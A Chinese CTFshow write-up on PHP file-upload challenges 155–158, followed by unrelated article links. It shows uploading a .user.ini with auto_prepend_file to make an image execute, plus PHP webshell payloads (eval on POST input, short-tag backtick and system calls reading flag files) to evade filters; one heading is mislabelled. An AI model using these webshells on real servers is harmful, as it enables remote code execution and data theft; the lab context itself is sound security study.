CTFshow web(php文件上传155-158)

web155

老样子,还是那个后端检测。

知识点:

auto_append_file 是 PHP 配置选项之一,在 PHP 脚本执行结束后自动追加执行指定的文件。

当 auto_append_file 配置被设置为一个文件路径时,PHP 将在执行完脚本文件的所有代码后,自动加载并执行指定的文件。

这个配置选项可以用来在每个 PHP 脚本的结尾处执行一些共享的代码逻辑,例如清理工作、记录日志或执行一些全局操作。这样,就不必在每个脚本中显式编写和调用相同的代码,而是通过配置 auto_append_file 来实现统一的处理。

使用方法如下:

打开 PHP 的配置文件 php.ini。

找到 auto_append_file 配置项。

将要追加执行的文件路径设置给 auto_append_file 配置项,例如:

auto_append_file = "/path/to/your/file.php"
保存文件并重启 PHP 服务。

在接下来的 PHP 脚本执行后,指定的文件将会被自动加载和执行。

实战:先上传 .user.ini 文件,里面写入

auto_prepend_file=111.png
(#上传时是 .user.png ,抓包修改为 .user.ini)

然后创建一个111.png文件,里面写入一句话木马<?php @eval($_POST["x"]); ?>

之后访问/upload/

这里发现在上传111.png时不行,看来是被过滤了,那就换个 <?=`tac ../flag*`木马就好了

<? echo 123;eval($_POST['x']); ?>

web156

还是上面的套路,只是在我尝试<? echo 123;eval($_POST['x']); ?>时[]又被禁止了,这里直接换成短标签木马:

<?=`tac ../flag*`

或者直接把[]换成{}也是可以的

其他还是不变

web157

其实不就多过滤了{}这个而已嘛,直接短标签木马上去就好了嘛

其他都和最初155一样

<?system('tac ../f*')?>

web156

上面的<?system('tac ../f*')?>还可以继续白嫖,那么这里我也不测试这道题目比之前多过滤了什么

真诚希望我的文章能够帮助大家,谢谢!

相关推荐
Y1nhl4 分钟前
搜广推校招面经八十一
开发语言·人工智能·pytorch·深度学习·机器学习·推荐算法·搜索算法
Algorithm15765 分钟前
谈谈接口和抽象类有什么区别?
java·开发语言
yu4106217 分钟前
Rust 语言使用场景分析
开发语言·后端·rust
良艺呐^O^8 分钟前
uniapp实现app自动更新
开发语言·javascript·uni-app
264玫瑰资源库2 小时前
问道数码兽 怀旧剧情回合手游源码搭建教程(反查重优化版)
java·开发语言·前端·游戏
普if加的帕2 小时前
java Springboot使用扣子Coze实现实时音频对话智能客服
java·开发语言·人工智能·spring boot·实时音视频·智能客服
安冬的码畜日常3 小时前
【AI 加持下的 Python 编程实战 2_10】DIY 拓展:从扫雷小游戏开发再探问题分解与 AI 代码调试能力(中)
开发语言·前端·人工智能·ai·扫雷游戏·ai辅助编程·辅助编程
朝阳5814 小时前
Rust项目GPG签名配置指南
开发语言·后端·rust
朝阳5814 小时前
Rust实现高性能目录扫描工具ll的技术解析
开发语言·后端·rust
程高兴4 小时前
基于Matlab的车牌识别系统
开发语言·matlab